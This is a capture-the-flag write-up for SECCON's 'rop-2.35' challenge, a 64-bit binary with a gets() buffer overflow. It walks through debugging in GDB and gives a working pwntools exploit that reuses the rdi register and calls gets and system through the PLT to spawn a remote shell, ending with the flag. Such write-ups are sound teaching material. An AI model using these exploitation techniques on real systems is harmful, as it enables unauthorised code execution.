rop-2.35
7 minutes to read
We are given a 64-bit binary called chall
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Setup environment
We also have a Dockerfile
:
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get -y update
RUN apt-get -y install xinetd
RUN groupadd -r pwn && useradd -r -g pwn pwn
RUN echo '#!/bin/bash\n\
service xinetd restart && /bin/sleep infinity' > /etc/init.sh
RUN echo 'service pwn\n\
{\n\
type = UNLISTED\n\
disable = no\n\
socket_type = stream\n\
protocol = tcp\n\
wait = no\n\
user = pwn\n\
bind = 0.0.0.0\n\
port = 9999\n\
server = /home/pwn/chall\n\
}' > /etc/xinetd.d/pwn
RUN chmod 500 /etc/init.sh
RUN chmod 444 /etc/xinetd.d/pwn
RUN chmod 1733 /tmp /var/tmp /dev/shm
RUN echo "FAKECON{*** REDACTED ***}" > /flag.txt
RUN chmod 444 /flag.txt
RUN mv /flag.txt /flag-$(md5sum flag.txt | awk '{print $1}').txt
WORKDIR /home/pwn
ADD chall .
RUN chmod 550 chall
RUN chown -R root:pwn /home/pwn
RUN service xinetd restart
With this, we can assume that the remote instance is running a Docker container with this Dockerfile
, so we can take the Glibc library and loader from here:
$ docker compose up -d
...
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a742307933a5 rop-235-dist_rop235 "/etc/init.sh" 6 seconds ago Up 5 seconds 0.0.0.0:9999->9999/tcp, :::9999->9999/tcp rop-235-dist_rop235-1
$ docker cp a742307933a5:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 243kB
$ docker cp a742307933a5:/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.22MB
$ patchelf --set-interpreter ld-linux-x86-64.so.2 chall_patched
$ patchelf --set-rpath . chall_patched
Now we have the same setup as the remote instance.
Source code analysis
This time, we have the source code in C, which is really short:
#include <stdio.h>
#include <stdlib.h>
void main() {
char buf[0x10];
system("echo Enter something:");
gets(buf);
}
There is a clear Buffer Overflow vulnerability because of the use of gets
with a fixed-size character array buf[0x10]
:
$ ./chall_patched
Enter something:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault (core dumped) ./chall_patched
The problem here is that the binary is compiled with a modern version of gcc
(Ubuntu 22.04), and there are no useful ROP gadgets (notice NX bit is set):
$ ROPgadget --binary chall_patched
Gadgets information
============================================================
0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
0x000000000040109c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040113a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040109e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040113b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401139 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401137 : add eax, 0x2efb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401181 : call qword ptr [rax + 0xc3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401153 : cli ; jmp 0x4010e0
0x00000000004010a3 : cli ; ret
0x000000000040118b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004010c8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401135 ; nop ; ret
0x0000000000401150 : endbr64 ; jmp 0x4010e0
0x00000000004010a0 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401107 : je 0x401110 ; mov edi, 0x404038 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401154 : jmp 0x4010e0
0x000000000040100b : jmp 0x4840103f
0x00000000004010cc : jmp rax
0x0000000000401183 : leave ; ret
0x00000000004010cd : loopne 0x401135 ; nop ; ret
0x0000000000401136 : mov byte ptr [rip + 0x2efb], 1 ; pop rbp ; ret
0x00000000004010c7 : mov edi, 0x404038 ; jmp rax
0x0000000000401182 : nop ; leave ; ret
0x00000000004010cf : nop ; ret
0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
0x00000000004010c6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x000000000040113d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401138 : sti ; add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040118d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040118c : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404038 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
Unique gadgets found: 48
So, we must come up with another approach.
Debugging with GDB
If we run the binary in GDB, we can set a breakpoint before and after gets
:
$ gdb -q chall_patched
Reading symbols from chall_patched...
(No debugging symbols found in chall_patched)
gef➤ disassemble main
Dump of assembler code for function main:
0x0000000000401156 <+0>: endbr64
0x000000000040115a <+4>: push rbp
0x000000000040115b <+5>: mov rbp,rsp
0x000000000040115e <+8>: sub rsp,0x10
0x0000000000401162 <+12>: lea rax,[rip+0xe9b] # 0x402004
0x0000000000401169 <+19>: mov rdi,rax
0x000000000040116c <+22>: call 0x401050 <system@plt>
0x0000000000401171 <+27>: lea rax,[rbp-0x10]
0x0000000000401175 <+31>: mov rdi,rax
0x0000000000401178 <+34>: mov eax,0x0
0x000000000040117d <+39>: call 0x401060 <gets@plt>
0x0000000000401182 <+44>: nop
0x0000000000401183 <+45>: leave
0x0000000000401184 <+46>: ret
End of assembler dump.
gef➤ break *main+39
Breakpoint 1 at 0x40117d
gef➤ break *main+44
Breakpoint 2 at 0x401182
gef➤ run
Starting program: ./chall_patched
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after vfork from child process 2442950]
Enter something:
Breakpoint 1, 0x000000000040117d in main ()
This is the value of $rdi
(the address of buf
, and the address where our data will be stored at):
gef➤ p $rdi
$1 = 0x7fffffffe560
We continue and enter some data:
gef➤ continue
Continuing.
asdf
Breakpoint 2, 0x0000000000401182 in main ()
gef➤ p $rdi
$2 = 0x7ffff7e1ba80
gef➤ x/s $rdi
0x7ffff7e1ba80 <_IO_stdfile_0_lock>: ""
As can be seen, after calling gets
, the value of $rdi
is set to an address within Glibc. And it is always the same address (in this process execution). We can validate it if we jump to main
again:
gef➤ jump main
Continuing at 0x40115e.
[Detaching after vfork from child process 2444962]
Enter something:
Breakpoint 1, 0x000000000040117d in main ()
gef➤ p $rdi
$3 = 0x7fffffffe560
gef➤ continue
Continuing.
fdsa
Breakpoint 2, 0x0000000000401182 in main ()
gef➤ p $rdi
$4 = 0x7ffff7e1ba80
gef➤ x/s $rdi
0x7ffff7e1ba80 <_IO_stdfile_0_lock>: ""
Exploit development
So, what we can do is exploit the Buffer Overflow vulnerability to control the execution flow and call gets
directly. Since $rdi
is already set to _IO_stdfile_0_lock
, we will enter a string here (let’s say "/bin/sh\0"
), and after that, we will call system
, which is linked to the binary in the PLT. As a result, since $rdi
won’t be modified when calling gets
(it is set to the address of _IO_stdfile_0_lock
, which it is already), then system
will take our input data from $rdi
and we can get a shell.
Here we have the exploit:
#!/usr/bin/env python3
from pwn import context, p64, remote, sys
context.binary = 'chall_patched'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, port)
io = get_process()
payload = b'A' * 0x18
payload += p64(context.binary.plt.gets)
payload += p64(context.binary.plt.system)
io.sendlineafter(b'Enter something:\n', payload)
io.sendline(b'/bin/sh')
io.interactive()
If we run it, we will notice something weird:
$ python3 solve.py
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall_patched': pid 2450771
[*] Switching to interactive mode
sh: 1: /bin.sh: not found
[*] Got EOF while reading in interactive
$
For some reason, the second /
is set to .
. We can overcome this with:
io.sendline(b'sh #')
And now we have a shell:
$ python3 solve.py
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall_patched': pid 2452125
[*] Switching to interactive mode
$ ls
chall docker-compose.yml ld-linux-x86-64.so.2 main.c
chall_patched Dockerfile libc.so.6 solve.py
Flag
Let’s go remote:
$ python3 solve.py rop-2-35.seccon.games 9999
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to rop-2-35.seccon.games on port 9999: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag-55cdf9ed439996cad5484a16bfdc4431.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag*
SECCON{i_miss_you_libc_csu_init_:cry:}